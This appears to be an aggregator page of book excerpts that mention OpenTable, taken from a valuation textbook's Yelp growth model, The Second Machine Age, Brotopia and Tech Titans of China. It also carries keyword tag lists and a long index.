activist fund / activist shareholder / activist investor, air freight, barriers to entry, Basel III, BRICs, business climate, business cycle, business process, capital asset pricing model, capital controls, Chuck Templeton: OpenTable:, cloud computing, commoditize, compound rate of return, conceptual framework, corporate governance, corporate social responsibility, creative destruction, credit crunch, Credit Default Swap, discounted cash flows, distributed generation, diversified portfolio, energy security, equity premium, fixed income, index fund, intangible asset, iterative process, Long Term Capital Management, market bubble, market friction, Myron Scholes, negative equity, new economy, p-value, performance metric, Ponzi scheme, price anchoring, purchasing power parity, quantitative easing, risk/return, Robert Shiller, Robert Shiller, shareholder value, six sigma, sovereign wealth fund, speech recognition, stocks for the long run, survivorship bias, technology bubble, time value of money, too big to fail, transaction costs, transfer pricing, value at risk, yield curve, zero-coupon bond
In Yelp’s case, the company has not disclosed internal cost forecasts, so we look to internal margin projections for OpenTable, another high-growth company actively serving businesses in local markets. OpenTable provides A VALUATION PROCESS FOR HIGH-GROWTH COMPANIES 739 EXHIBIT 32.7 Revenue Growth of Internet Start-Ups after Reaching $10 Million Threshold1 $ million 300 250 75th percentile Yelp 200 150 100 Median 50 25th percentile 0 2008 2009 2010 2011 2012 2013 2014 2015 2016 1 Sample of 75 publicly traded Internet start-ups, normalized to Yelp. reservation services for restaurants. Similar to Yelp, the company generates revenue by deploying a dedicated sales team to local restaurants to encourage enrollment. Before Priceline acquired OpenTable, senior management at OpenTable discussed how economies of scale would lead to target margins above 25 percent.
Businesses desire a partner that generates the most traffic, and consumers desire a website with the most reviews. This business is similar to other software businesses, such as Microsoft’s Windows operating system and IBM’s MVS mainframe software, both of which still retain more than 80 percent of their respective markets. 5 One piece of data pointing to the potential of a 65 percent share is the restaurant reservation company OpenTable. Before being acquired by Priceline in 2013, OpenTable reported that it had exceeded a 60 percent share in San Francisco. A VALUATION PROCESS FOR HIGH-GROWTH COMPANIES 737 EXHIBIT 32.5 Yelp: Cohort Revenue Model Historical1 Cohort 1: San Francisco Addressable businesses, thousand × Percent claimed = Claimed locations, thousand × Percent converted = Active accounts, thousand × Revenues per account, $ thousand = Cohort revenue, $ million Forecast 2011 2012 2013 2014 2015 2016 2017 2018 375.8 37.0 139.0 381.0 45.0 171.4 386.1 52.0 200.8 391.4 58.0 227.0 396.8 62.0 246.0 402.2 65.0 261.4 407.7 65.0 265.0 413.3 65.0 268.7 4.3 6.0 4.4 7.5 4.6 9.2 4.7 10.7 4.8 11.8 4.9 12.8 5.0 13.3 5.1 13.7 2.7 16.0 3.0 22.9 3.3 30.8 3.7 39.2 4.0 47.7 4.4 56.9 4.9 64.7 5.4 73.6 Cohort 2: Boston, Chicago, Los Angeles, New York City, Seattle Addressable businesses × Percent claimed = Claimed locations, thousand 1,372.2 24.0 329.3 1,383.5 37.0 511.9 1,394.2 45.0 627.4 1,405.6 52.0 730.9 1,417.1 58.0 821.9 1,428.8 62.0 885.9 1,440.6 65.0 936.4 1,452.5 65.0 944.1 × Percent converted = Active accounts, thousand 4.1 13.5 4.3 22.0 4.4 27.6 4.6 33.6 4.7 38.6 4.8 42.5 4.9 45.9 5.0 47.2 × Revenues per account, $ thousand = Cohort revenue, $ million 2.4 31.8 2.7 59.1 3.0 83.7 3.3 112.2 3.7 141.8 4.0 171.7 4.4 203.8 4.9 230.6 1 Yelp does not disclose historical data by cohort; we have estimated it here using publicly available data.
Exhibit 32.8 EXHIBIT 32.8 Yelp: Current and Forecast Margins % 1031 100 23 6 100 14 100 100 21 26 Operating margin 17 General and administrative 11 Product development 38 Sales and marketing Cost of revenues 21 20 16 18 15 13 12 57 51 46 41 7 7 7 7 7 2013 2014E 2015E 2016E 2023E 1 Because Yelp operated at a loss in 2013, operating costs sum to greater than 100 percent. 740 VALUING HIGH-GROWTH COMPANIES EXHIBIT 32.9 Business-to-Business Internet Companies: Key Value Drivers, 2013 Revenues, $ million Google LinkedIn 59,825 25.5 1,529 Monster Worldwide 808 Yelp 233 Capital/revenues,1 % EBITA T margin, % 27.2 4.2 10.3 14.6 (3.5) 2 (6.9) 15.2 1 Capital turnover excludes goodwill and acquired intangibles. 2 Monster Worldwide EBITA margin includes only North America. presents the margin transition for Yelp, from –3 percent in 2013 to an estimated 26 percent in 2023. Combined with our revenue forecast, our margin projections translate to a growth in operating profit from a loss of $8.1 million in 2013 to a profit of $619 million in 2023. If Yelp follows OpenTable’s pattern, margins could be above 25 percent. But are these forecasts realistic? To address this question, examine other software companies that provide a similar conduit between consumers and businesses, funded by businesses. Exhibit 32.9 presents the key value drivers for Yelp and three other companies: Google, LinkedIn, and Monster Worldwide. Although none of these companies provides a perfect comparison, each offers some insight into what is possible.
The Second Machine Age: Work, Progress, and Prosperity in a Time of Brilliant Technologies by Erik Brynjolfsson, Andrew McAfee
"Robert Solow", 2013 Report for America's Infrastructure - American Society of Civil Engineers - 19 March 2013, 3D printing, access to a mobile phone, additive manufacturing, Airbnb, Albert Einstein, Amazon Mechanical Turk, Amazon Web Services, American Society of Civil Engineers: Report Card, Any sufficiently advanced technology is indistinguishable from magic, autonomous vehicles, barriers to entry, basic income, Baxter: Rethink Robotics, British Empire, business cycle, business intelligence, business process, call centre, Charles Lindbergh, Chuck Templeton: OpenTable:, clean water, combinatorial explosion, computer age, computer vision, congestion charging, corporate governance, creative destruction, crowdsourcing, David Ricardo: comparative advantage, digital map, employer provided health coverage, en.wikipedia.org, Erik Brynjolfsson, factory automation, falling living standards, Filter Bubble, first square of the chessboard / second half of the chessboard, Frank Levy and Richard Murnane: The New Division of Labor, Freestyle chess, full employment, G4S, game design, global village, happiness index / gross national happiness, illegal immigration, immigration reform, income inequality, income per capita, indoor plumbing, industrial robot, informal economy, intangible asset, inventory management, James Watt: steam engine, Jeff Bezos, jimmy wales, job automation, John Markoff, John Maynard Keynes: Economic Possibilities for our Grandchildren, John Maynard Keynes: technological unemployment, Joseph Schumpeter, Kevin Kelly, Khan Academy, knowledge worker, Kodak vs Instagram, law of one price, low skilled workers, Lyft, Mahatma Gandhi, manufacturing employment, Marc Andreessen, Mark Zuckerberg, Mars Rover, mass immigration, means of production, Narrative Science, Nate Silver, natural language processing, Network effects, new economy, New Urbanism, Nicholas Carr, Occupy movement, oil shale / tar sands, oil shock, pattern recognition, Paul Samuelson, payday loans, post-work, price stability, Productivity paradox, profit maximization, Ralph Nader, Ray Kurzweil, recommendation engine, Report Card for America’s Infrastructure, Robert Gordon, Rodney Brooks, Ronald Reagan, Second Machine Age, self-driving car, sharing economy, Silicon Valley, Simon Kuznets, six sigma, Skype, software patent, sovereign wealth fund, speech recognition, statistical model, Steve Jobs, Steven Pinker, Stuxnet, supply-chain management, TaskRabbit, technological singularity, telepresence, The Bell Curve by Richard Herrnstein and Charles Murray, The Signal and the Noise by Nate Silver, The Wealth of Nations by Adam Smith, total factor productivity, transaction costs, Tyler Cowen: Great Stagnation, Vernor Vinge, Watson beat the top human players on Jeopardy!, winner-take-all economy, Y2K
The software underlying Siri, which originated at the California research institute SRI International and was purchased by Apple in 2010, listened to what iPhone users were saying to it, tried to identify what they wanted, then took action and reported back to them in a synthetic voice. After Siri had been out for about eight months, Kyle Wagner of technology blog Gizmodo listed some of its most useful capabilities: “You can ask about the scores of live games—‘What’s the score of the Giants game?’—or about individual player stats. You can also make OpenTable reservations, get Yelp scores, ask about what movies are playing at a local theater and then see a trailer. If you’re busy and can’t take a call, you can ask Siri to remind you to call the person back later. This is the kind of everyday task for which voice commands can actually be incredibly useful.”7 The Gizmodo post ended with caution: “That actually sounds pretty cool. Just with the obvious Siri criterion: If it actually works.”8 Upon its release, a lot of people found that Apple’s intelligent personal assistant didn’t work well.
Reputations and Recommendations Digitization also brings a related but subtler benefit to the vast array of goods and services that already exist in the economy. Lower search and transaction costs mean faster and easier access and increased efficiency and convenience. For example, the rating site Yelp collects millions of customer reviews to help diners find nearby restaurants in the quality and price ranges they seek, even when they are visiting new cities. The reservation service OpenTable then lets them book a table with just a few mouse clicks. In aggregate, digital tools like these make a large difference. In the past, ignorance protected inefficient or lower-quality sellers from being unmasked by unsuspecting consumers, while geography limited competition from other sellers. With the introduction of structured comparison sites like FindTheBest.com and Kayak, airline travel, banking, insurance, car sales, motion pictures, and many other industries are being transformed by consumers’ ability to search for and compare competing sellers.
., robot use by Minsky, Marvin MIT, Computer Science and Artificial Intelligence Lab at Mitchell, Tom Mitra, Sugata MITx Monster.com Montessori, Maria Monthly Labor Review Moore, Gordon Moore’s Law in business in computing persistence of spread of Moravec, Hans Moravec’s paradox Morris, Ian mortgages Mullis, Kary multidimensional poverty index Munster, Gene Murnane, Richard Murray, Charles music, digitization of Nader, Ralph Narrative Science NASA National Academy of Sciences National Association of Realtors National Bureau of Economic Research National Review Nature of Technology, The (Arthur) Neiman, Brent New Digital Age, The (Schmidt and Cohen) New Division of Labor, The (Levy and Murnane) Newell, Al new growth theory New York Times Next Convergence, The (Spence) Nike Nixon, Richard Nordhaus, William numbers: development of large Occupy movement oDesk Oh, Joo Hee Olshansky, S. Jay OpenTable OrCam O’Reilly, Tim Organization for Economic Co-operation and Development (OECD) Orteig Prize Orwell, George Oswald, Andrew Page, Larry Paine, Thomas Pandora Partnership for a New American Economy Pascarella, Ernest pattern recognition Pauling, Linus peer economy Perrow, Charles Perry, Mark philosophy, transformative phones, mobile: in developing world see also smartphones photography photo sharing Picasso, Pablo Pigou, Arthur Pigovian taxes Pink, Daniel Pinker, Steven Pinterest Pivot Power Plutarch Polanyi, Michael pollution polymerase chain reaction (PCR) Popular Science Porter, Michael Powerbook G4 Power Law distributions Principles of Economics (Mankiw) printing, 3D privacy, in digital vs. analog world productivity: decoupling of employment from decoupling of wages from effect of spread on in electricity era growth of innovation linked to intangible goods’ effect on mid-1990s U.S. increase in new paths to post-1970 U.S. decline in post-2000 U.S. growth in see also economic growth; gross domestic product (GDP); labor productivity, capital productivity, multifactor productivity, total factor publishing, digitization and Putnam, Robert Quirky R Race Against the Machine (Brynjolfsson and McAfee) Rajan, Raghuram Rampell, Catherine Raymond, Eric reading AI capabilities in Reagan, Ronald regulation: of business of peer economy religion rents, economic resource curse Rethink Robotics retinal implants Rhapsody Ricardo, David Rigobon, Roberto Robinson, James Robotics, Three Laws of robots: business use of; see also automation rapid progress in sensory equipment for skills acquisition by; see also Moravec’s paradox towel-folding see also artificial intelligence (AI) Rockoff, Jonah Roksa, Josipa Romer, Paul Roomba Roosevelt, Franklin D.
Brotopia: Breaking Up the Boys' Club of Silicon Valley by Emily Chang
23andMe, 4chan, Ada Lovelace, affirmative action, Airbnb, Apple II, augmented reality, autonomous vehicles, barriers to entry, Bernie Sanders, Burning Man, California gold rush, Chuck Templeton: OpenTable:, David Brooks, Donald Trump, Elon Musk, equal pay for equal work, Ferguson, Missouri, game design, gender pay gap, Google Glasses, Google X / Alphabet X, Grace Hopper, high net worth, Hyperloop, Jeff Bezos, job satisfaction, Khan Academy, Lyft, Marc Andreessen, Mark Zuckerberg, Maui Hawaii, Menlo Park, meta analysis, meta-analysis, microservices, paypal mafia, Peter Thiel, post-work, pull request, ride hailing / ride sharing, rolodex, Saturday Night Live, shareholder value, side project, Silicon Valley, Silicon Valley startup, Skype, Snapchat, Steve Jobs, Steve Wozniak, Steven Levy, subscription business, Tim Cook: Apple, Travis Kalanick, uber lyft, women in the workforce
In certain companies, it rises to the level of a corporate culture that is, in some cases, approved by the men at the very top, with strip club fees being charged back to the company. Strip clubs are nothing new to business, and they have been part of hard-charging tech culture since at least Trilogy’s heyday in the 1990s. The CEO, Joe Liemandt, a.k.a. Hundred-Dollar Joe, led young, impressionable employees on pilgrimages to Las Vegas, where gambling and naked women were the main event. Christa Quarles, now the CEO of OpenTable, was taken to the Gold Club at the end of an interview—a job interview!—with another tech company. “It was more like, ‘Hey, everyone, let’s go out and see if this person is a social fit,’” Quarles remembers. She felt it was clearly part of the interview, a sort of test to see if she could, as she puts it, “hang with the bro culture.” Despite feeling uncomfortable, Quarles didn’t complain. “I felt like what I needed to be successful was being one of the boys,” she says.
Right now, she suggested, that third party is the media, which means allegations play out in public without careful arbitration. Nicole Farb, the Goldman Sachs banker turned entrepreneur, said she believes Silicon Valley treats women worse than Wall Street does. Her message: VCs, stop asking women entrepreneurs about their kids! When one man in attendance said that some women weren’t doing enough to support each other, I spotted OpenTable’s CEO, Christa Quarles, getting agitated and mouthing the word “Bullshit!” When I handed her the mic, her voice erupted and her body shook. “In Silicon Valley today, there is a sisterhood of women who are supporting each other, telling each other about board opportunities, giving each other business ideas. There is a sisterhood!” Quarles declared. “Talk about sexual harassment . . . You name it, it has happened to me.
Tech Titans of China: How China's Tech Sector Is Challenging the World by Innovating Faster, Working Harder, and Going Global by Rebecca Fannin
Airbnb, augmented reality, autonomous vehicles, blockchain, call centre, cashless society, Chuck Templeton: OpenTable:, cloud computing, computer vision, connected car, corporate governance, cryptocurrency, data is the new oil, Deng Xiaoping, digital map, disruptive innovation, Donald Trump, El Camino Real, Elon Musk, family office, fear of failure, glass ceiling, global supply chain, income inequality, industrial robot, Internet of things, invention of movable type, Jeff Bezos, Kickstarter, knowledge worker, Lyft, Mark Zuckerberg, megacity, Menlo Park, money market fund, Network effects, new economy, peer-to-peer lending, personalized medicine, Peter Thiel, QR code, RFID, ride hailing / ride sharing, Sand Hill Road, self-driving car, sharing economy, Shenzhen was a fishing village, Silicon Valley, Silicon Valley startup, Skype, smart cities, smart transportation, Snapchat, social graph, software as a service, South China Sea, sovereign wealth fund, speech recognition, stealth mode startup, Steve Jobs, supply-chain management, Tim Cook: Apple, Travis Kalanick, Uber and Lyft, Uber for X, uber lyft, urban planning, winner-take-all economy, Y Combinator, young professional
But the staying power of Meituan as a leader is not a sure bet given it’s losing money and faces increased competition from Alibaba-owned delivery service Ele.me. See table 3-3. Over the past decade, Meituan has emerged as a titan by catering to China’s burgeoning urban middle class who are using its all-in-one app to order takeout lunches, make restaurant reservations, book hotels, purchase movie tickets, and redeem vouchers for manicures and massages. This multifunctional app combines Yelp, Booking.com, GrubHub, Uber Eats, Kayak, Fandango, and Open-Table and even loops in a Whole Foods–type grocery store. There’s no single equivalent to Meituan in the United States, where apps typically specialize in one vertical sector. Table 3-3 At a Glance: Meituan Dianping Founder: serial entrepreneur Wang Xing Location: Beijing Launch: 2010 Merger with Dianping: 2015 Status: HKSE listing raised $4.2 billion at a valuation of nearly $53 billion Main Innovation: an all-in-one app for services and an AI-driven moped delivery system 2018 Gross Merchandise Volume:20 $76.9 billion, up 44%, from 6.4 billion food delivery transactions and 284 million hotel room booking nights in China 2018 Financials: $9.7 billion in revenues, up 92%; $1.27 billion adjusted net loss Notable: founder is known as China’s internet cloner; this is his fourth Chinese startup Meituan founder Wang lost his Facebook lookalike due to high cash burn.
., 103 China Investment Corp, 172 China UnionPay, 168 China venture capitalists, 128 Chinese consumers, 3 Chinese culture, 22 Chinese economy, 3 Chinese internet brands, 15 Chinese IPOs, 131 Chinese tourism, 113 ChiNext, 135 Chrysler, 209 Chuhai, 56 City Brain, 163 CloudKitchens, 175 Cloud Valley, 119 Coach handbags, 9 Cohen, Brian, 121 Colin Huang, 185, 192–193 Committee on Foreign Investment (CFIUS), 55 Connie Chan, 86 Consumer Electronics Show (CES), Las Vegas, 32–33 Cook, Tim, 32 Costa Coffee, 102 Costco, 186 Coworking, 111 Creagh, Eleanor, 93 Credit Suisse, 171 CSC Upshot Ventures, 146 D Da-Jiang Innovations, 218 Dalian Wanda, 54 DAMO (discovery, adventure, momentum, and outlook) Academy, 56 Dangdang, 44–45 Daniel Zhang, 49 Danke Apartment, 106 David Chao, 154–155 David Li, 81 David Yuan, 157 DCM Ventures, 84, 106, 154–156 Deng Xiaoping, 16, 28, 128 Derrick Xiong, 217 Dick Clark Productions, 52, 54 Didi, 21, 42, 60, 69, 98, 104, 176–179 international operations, 182–183 safety issues, 184 vs Uber, 179–182 Didi Brain, 178 Didi Chuxing, 20, 44, 69, 173–174 DingTalk, 31, 106 DJI, 5, 211–212, 215–220 Doerr, John, 128, 139–140 Donovan Sung, 73 Douyin, 82, 89 Draper, Tim, 52, 136–137 Draper Associates, 137 Draper University, 137 Dropbox, 218 DST Global, 78 Duoduoyou, 95 Duoshan, 43, 85 E EachNet, 138 EBay, 15, 28, 52, 85, 96, 104, 216 Eclipse Ventures, 220 EHang, 5, 152, 216–217 EHi Car Services, 153 Ele.me, 42, 61, 157, 211 Elephant Robotics, 213 11Main.com, 191 Evans, Michael, 50 Evdemon, Chris, 50 Evernote, 104, 117–119 EyeVerify, 63 F Face++, 29, 165 Facebook, 1, 5, 10, 15, 26, 28, 30–32, 43–45, 48, 52, 82, 84, 87, 104, 115, 128, 132, 162, 218 Facial recognition systems, 2 Fallon, Jimmy, 85 Fandango, 90 Fanfou, 95 FANGs, 26, 50 Fang Xingdong, 138 Faraday Future, 207 FAW Group, 33 Fintech, 19 Fire in the Valley, 68 Fishtrip, 116 Flipagram, 88 Fong, Kevin, 137 Ford, 204, 209 Fortnite, 66 Foster & Partners, 216 Fountown, 110 4Paradigm, 165 Francis Leung, 161–162 Frank Wang, 216–218 Freshippo, 98 Friendster, 43 G Gaopeng, 95 Gates, Bill, 208 General Atlantic, 38, 51 General Catalyst Partners, 117 General Motors, 51, 209 Gen Z youngsters, 6 Gerson Lehrman Group, 107 GGV Capital, 11, 55, 86, 112 Glen Sun, 120, 127 Gobi Partners, 149 Go-Jek, 57 Golden Gate Bridge, 11 Goldman Sachs, 151 Google, 10, 15, 26, 28, 33–34, 45, 52, 57, 75, 79, 95, 104, 115, 127–129, 132, 144, 162, 178, 191, 193 Google China, 34–35 Google Pay, 5, 32 GoPro, 219 Grab, 57 Granite Global Ventures (GGV), 138, 143, 151–154, 169, 198, 217 Graziani, Thomas, 186 The Great Wall, 53 Great Wall Motors, 208 Groupon, 15, 43, 69, 95–96, 104, 186 GrubHub, 90 GSR Ventures, 138, 157 Gu, Amy, 118 Guangzhou Automobile Group, 207 Guinn, Colin, 219 Gullicksen, Ken, 118 H Hainan Airlines, 168 Hans Tung, 11, 55, 78, 120–121, 153, 192 Hao, Robert, 115 Haokan, 85 Hariharan, Anu, 87 Harvard university, 11 HAX accelerator, 213–214 Hearst Ventures, 169 Hemi Ventures, 118 He Xiaopeng, 197, 203–206 Hikvision, 162 Hillhouse Capital, 112, 175, 198 Hilton, 9, 54 Hoffman, Reid, 105 Hollywood, 52–55 Hong Ge, 115 Horizon Robotics, 213 Horizon Ventures, 112 Horowitz, Andreessen, 52, 86, 138 Hortons, Tim, 102 H&Q Asia Pacific, 102 Huahua Media, 54 Huami, 77 Huang, 186 Huawei, 5, 13, 16, 73, 76 Hurst Lin, 120, 155 Hyatt, 9 Hyundai, 28 I IBM, 162 IDG Capital, 138, 193, 198 IFlytek, 163 ING Group, 171 Instagram, 1–2, 15, 51 Intel, 16, 144 International Finance Corporation, 171 IPhone, 70 IQiyi, 19, 60, 84 Israel, 56 J Jack Ma, 3, 26, 28, 45, 47, 49–50, 52, 56, 78, 99–100, 135, 154–155, 191 JAFCO Asia, 154 James Mi, 121, 156, 193 Janow, Merit, 17 Japan, 56 JD.com, 18, 29, 38, 88, 98, 147, 185, 187–189, 191, 211 Jenny Lee, 154 Jerry Yang, 106, 154 Jet Li, 52 Jian Lu, 106 Jing Bing Zhang, 219 Jobs, Steve, 3, 68 Joe Chen, 44 Joe Zhou, 140 Johnson, Kevin, 101 Joy Capital, 103 Joyo.com, 75 JPMorgan, 115 Jurvetson, Draper Fisher, 134 K Kabam, 63 Kai-Fu Lee, 34, 123, 147, 165 Kalanick, Travis, 175, 181 Karma Automotive, 207 Katzenberg, Jeffrey, 85 Kayak, 69, 90 Kellman, Joel, 152 Kentucky Fried Chicken, 9 Keytone Ventures, 140 Khazanah Nasional Berhad, 171 Khosla, Vinod, 138 Khosla Ventures, 134, 138 Kingsoft, 74–75, 79 Kitt.ai, 163 KKR, 83 Kleiner Perkins, 140, 148 Koubei, 61 Kramlich, Dick, 139, 142 Kr Space, 110 Kuaidi, 173, 181 Kuaishou, 66, 84–85, 156 L LAIX, 169 Lam, David, 146 Lashou, 95–96 Lasso, 32, 84 Lau, Marvin, 64 Lazada, 58 Lazada Group, 58 League of Legends, 64 Lee, Jenny, 123 LeEco, 54 Legend Capital, 155, 171 Lei Jun, 44, 68, 71, 74–76, 79, 81, 135, 152 Leju, 66 LendingClub, 171 Leone, Doug, 129 LG, 28 Libin, Phil, 117–118 Lightspeed China Partners, 156, 193 Li Guoqing, 44 Li Haipeng, 175 Li Ka-shing, 171 Lin Haifeng, 193 LinkDoc, 169, 171–172 LinkedIn, 15, 104 LinkedIn China, 104–107 Lip-Bu Tan, 139 Little Elephant market, 98 Little Red Book, 189–190 Liulishuo (LingoChamp), 154 Live.me, 88 Livestreaming, 19, 80–81, 88 Li (David) Xueling, 199 Li Zexiang, 217 Li Zhaohui, 67 Lo, Vincent, 152 Long Hill Capital, 148 Lonsdale, Jeff, 138 Luan, Pan, 67 Luckin Coffee, 99–100 business model, 103 Lu Qi, 33 Lyft, 21, 51, 178, 183 M Macquarie Group, 115 Made-in-China business models, 10 Made in China 2025 initiative, 172, 200, 208, 212, 224 Magic Leap, 21 Ma Huateng (Pony Ma), 28 Mail.Ru, 29 Maimai, 106 MakeBlock, 213 Marriott, 9 Marvell, 15 Massachusetts Institute of Technology, 94, 168 Master-Card, 32 Matrix China Partners, 138 Matrix Partners, 138 Matrix Partners China, 110, 138, 198 Mavic Pro, 218 Mayfield, 51, 137–138 Mayi.com, 116 McDonald’s, 9 Meeker, Mary, 140 Megafunds, 134 Megvii, 165 Meituan, 175, 189 Meituan Bike, 175 Meituan Dianping, 20–21, 38, 42–43, 61, 69–70, 89–98 bike-sharing business, 94 competitors, 93 deliveries, 91–93 merger, 96–97 revenues, 94 travel and hotel segment, 93–94 Meizu Zero, 72 Messenger, 51 Mi.com, 71 Micron Technology, 16 Microsoft, 30, 33, 75, 79, 144, 162, 193 Milner, Yuri, 78, 83, 171 MIT university, 11 Mobike, 21, 61, 94, 151, 174–175 Mobile payments, 5, 19 MoneyGram, 55, 63 Morgenthaler Ventures, 118 Moritz, Mike, 11, 51, 128–129 Morningside Venture Capital, 84, 198 MOX, 214 Musical.ly, 83, 87–88 MySpace, 28 N Naked Hub, 108–111 Naspers, 66 Neil Shen, 97, 119 Netflix, 26, 48, 81 Netscape, 52 Neumann, Adam, 109 New Enterprise Associates, 51 New Enterprise Associates (NEA), 141–143 New Oriental Education & Technology Group, 135 New Space, 110 New York–based RRE Ventures, 133 Ng, Thomas, 152 Nike, 218 Nike shoes, 9 NIO, 2, 19, 200–201, 206–207 Nuomi, 96 Nvidia, 196 O Ofo, 61, 128, 138, 157, 174–175 On-demand ordering and delivery of takeout orders, 5 O2O, 97 OpenTable, 90 OPPO, 76, 168 Optibus, 56 Oracle, 129 O’Sullivan, Sean, 123, 214 P Page, Larry, 29, 34 Palo Alto, 52 Panda Selected, 175 Parrot, 220 PayPal, 31, 46, 128 Peggy YuYu, 44 Penaloza, 107 Penaloza, Dominic, 107 Perkins, Kleiner, 134 Perkins, Tom, 132 Pinduoduo, 2, 29, 66, 134, 185–188, 192–195 Ping An, 137 Pinterest, 15, 104 Pony Ma, 3 PPDAI Group, 171 Primavera Capital Group, 198 Princeton university, 11 Project Dragon, 15 Project Dragonfly, 104 Q Qiming Venture, 95, 175 Qiming Venture Partners, 129, 150–151 Qiye Weixin, 42, 106 QQ instant messaging service, 29 QR code, 109 QR (quick response) code, 1–2 Qualcomm, 15, 144 Qudian, 171 Quixey, 63 Qunar, 60 R Rational Robotics, 214 Reddit, 64, 88 Redpoint China, 157 Redpoint China Ventures, 133 Renren, 44 Retail commerce, 18–19 Revols, 214 Rework, 110 Richard Chang, 142 Richard Ji, 116 Richard Liu, 78, 123 Rieschel, Gary, 8, 16, 120, 122, 129, 150–151 Riot Games, 64 Robin Li, 3, 28, 33–35, 60, 122 Robinson, Jim, 121, 133 Robotics and drone market, 212 Roomba, 214 Rui Ma, 186 S Samsung, 28, 70, 76 Sandell, Scott, 141 Schultz, Howard, 100 SenseTime, 2, 29, 161, 167–169 camera surveillance technology, 162 Sequoia Capital, 11, 110, 129, 171, 175 Sequoia Capital China, 84, 95, 97, 105, 112, 119, 127–129, 194, 213, 218 Sequoia CBC Cross-Border Digital Industry Fund, 119 Serendipity Labs, 111 Sesame Credit system, 6 7Fresh, 189 7Fresh stores, 98 Shanghai Automotive Industry Corp., 208 Shanghai-based Qiming Venture Partners, 8 Shanghai World Financial Towers, 9 Shen, Neil, 128–129, 194 Shenzhen, 2 Short video entertainment apps, 7 Silicon Dragon, 109 Silicon Valley, 20–22, 27, 29, 31, 33, 42, 44, 50–52, 60, 63, 68–69, 79, 95, 105, 117, 129, 132–134, 137–143, 145–146, 150, 153, 158, 178, 192, 196, 199, 204–205, 218–220, 223–225 Silver Lake Partners, 38 Simon Loong, 171 Sina Corp., 95 Sino—US Venture Investors, 135–136 Sinovation Ventures, 110, 146, 165–166 Skype, 1 Snap, 64 Snapchat, 81, 84 Lens Challenges, 69 Social commerce, 20 SoFi, 44 SoftBank, 38, 51, 83, 138, 151, 183 Sonny Wu, 157 Southeast Asia, 56–57, 149 Alibaba and Tencent Investments in, 59 SpaceX, 51, 220 Spielberg, Steven, 52 SQream Technologies, 56 Squawk Box, 86 Stanford university, 10 Starbucks, 15, 99–100, 102–104, 111 initiative with Alibaba, 100–101 Reserve Roastery, 101–102 Startup Asia, 57 “Startup Nation” of Israel, 56 Steven Ji, 128 STX Entertainment, 52 Su Hua, 85 Sun Microsystems, 128 Supercharging stations, 7 T Tai, Bill, 137 Ta-lin Hsu, 102, 139 TangoME, 63 Tang Xiaoou, 167 Taobao, 28, 185, 187 Tao Peng, 113 TechSauce, 148 Temasek, 172 Tencent, 12–13, 20–21, 26, 28–32, 38, 44, 46–48, 51–52, 57, 61, 70, 80–81, 83, 95, 138, 147, 153, 163–164, 171, 190–191, 197, 206, 224 China Literature, 41 corporate culture, 63 diversification strategy, 67 gaming business, 40, 64, 66 growth of, 39–40 social networking service, 41–42 strategic investments, 63–66 in US, 52, 63–65 war with ByteDance, 85 youth culture, 39 Tencent Music Entertainment, 41 Tencent Video, 41, 84 Terminator: Dark Fate, 53 Tesla, 2, 15, 64, 196, 209–210, 220 Thiel, Peter, 138 Thompson, Ben, 77 Tian, Edward, 118–119 Tian Xu, 193 Tiger Computing Solutions, 163 TigerGraph, 163 Tiger Qie, 178 TikTok, 2, 21, 29, 31–32, 39, 43, 66, 69–70, 82, 84, 87 Tina Ju, 140 TMD, 43–44, 69 Tokopedia, 58 The Tonight Show, 85 3D Robotics, 219–220 TopBuzz, 82 Toutiao (Today’s Headlines), 21, 69–70, 80–81, 86–88 Traffic Brain, 178 Trump, Donald, 15, 45, 54–55, 164, 191 Tsai, Joe, 50 Tujia, 116 Twitch, 51 Twitter, 1, 15, 28, 43, 47, 84, 87, 104 U UBazaar mobile, 111 Uber, 21, 44, 51, 57, 60, 64, 83, 103–104, 128, 144, 173, 176–183 Uber Eats, 69, 90 Ubisoft, 64 UBTech, 213 UCAR, 103 UC Berkeley, 11 Ucommune, 110–111 UCWeb, 200 URWork, 110 US-China trade imbalance, 15 Ushi, 107 US IPOs, 131 US market, 46 US privacy laws, 7 US venture fund performance, 130 V Valentine, Don, 132, 139 VC Dixon Doll, 155 Venture capital market of China, 12, 130–158, 224 AI startups, 166 center of gravity for venture investing, 158 cross-border investors, 145–146 digital Silk Road, 136–139 funding for Asian companies, 148 history as a budding venture superpower, 139–140 investment returns, 141 investments in tech companies, 132–135 NEA’s China investing, 141–143 Sino—US Venture investment, 135–136, 146–148 venture firms, 150–158 Video streaming market, 2, 6, 19, 60, 83, 85, 154 Viomi, 77 VIPShop, 189–190 Vipshop, 156 Virtual gifts, 6 Virtual reality, 19 Visa, 32 Visualead, 56 Vivendi, 64 Vivo, 76 Vizio, 54 Volvo, 204 W Waimai, 60 Waldorf Astoria Hotel, 54 Walmart, 57–58 Wang Xing, 43, 89, 91, 94–95, 97 Wang Yi, 169 Wanka Online, 148 Warburg Pincus, 38 Warner Brothers, 51 Wayne Shiong, 121 Waze, 51 WeChat, 1–2, 29, 31, 34–35, 41–43, 46, 82, 106, 115, 144, 177, 187, 191, 197 WeChat Moments, 85 WeChat Pay, 5, 19, 32, 63, 182–183 WeDefend, 170 Wedo, 110 WeFlex, 170 Weibo, 35, 47, 82, 168, 197 Weiner, Jeff, 105–106 Weixin, 41 Wei-Ying Ma, 89 Wei Zhou, 121, 134 WeLab, 170–171 WeReach, 170 WeWork, 15, 104, 111 WeWork China, 108–111 WeWork Go, 109 WhatsApp, 1, 43, 51 Whitman, Meg, 85 William Li, 200, 206 Williams, David, 52 Wilson Sonsini Goodrich and Rosati (WSGR), 142–143 Wonder Woman, 52 Woo Space, 110 Workingdom, 110 Wu Xiaoguang, 199 X Xiadong Jiang, 172 Xia Huaxia, 92 Xiaodong Jiang, 142 Xiaomi, 20–21, 68–70, 75, 138, 141, 153, 168 business model, 76–79 core strength of, 73 customers, 72 growth, 72–73 international market, 79–80 Mi Home store locations, 73–74 mobile phone features, 70–71 range of internet-connected devices, 71 sales, 75–76 US market, 73–74 Xiaomi Finance, 80 Xiaonei, 95 Xiaopeng He, 122 Xiaozhu, 116 Xi Jinping, 12, 47, 208 Xpeng Motors, 19, 196–197, 200, 203–206 XPerception, 164 XTMD, 69 Xu Li, 161, 168–169 Y Yahoo!
Who Gets What — and Why: The New Economics of Matchmaking and Market Design by Alvin E. Roth
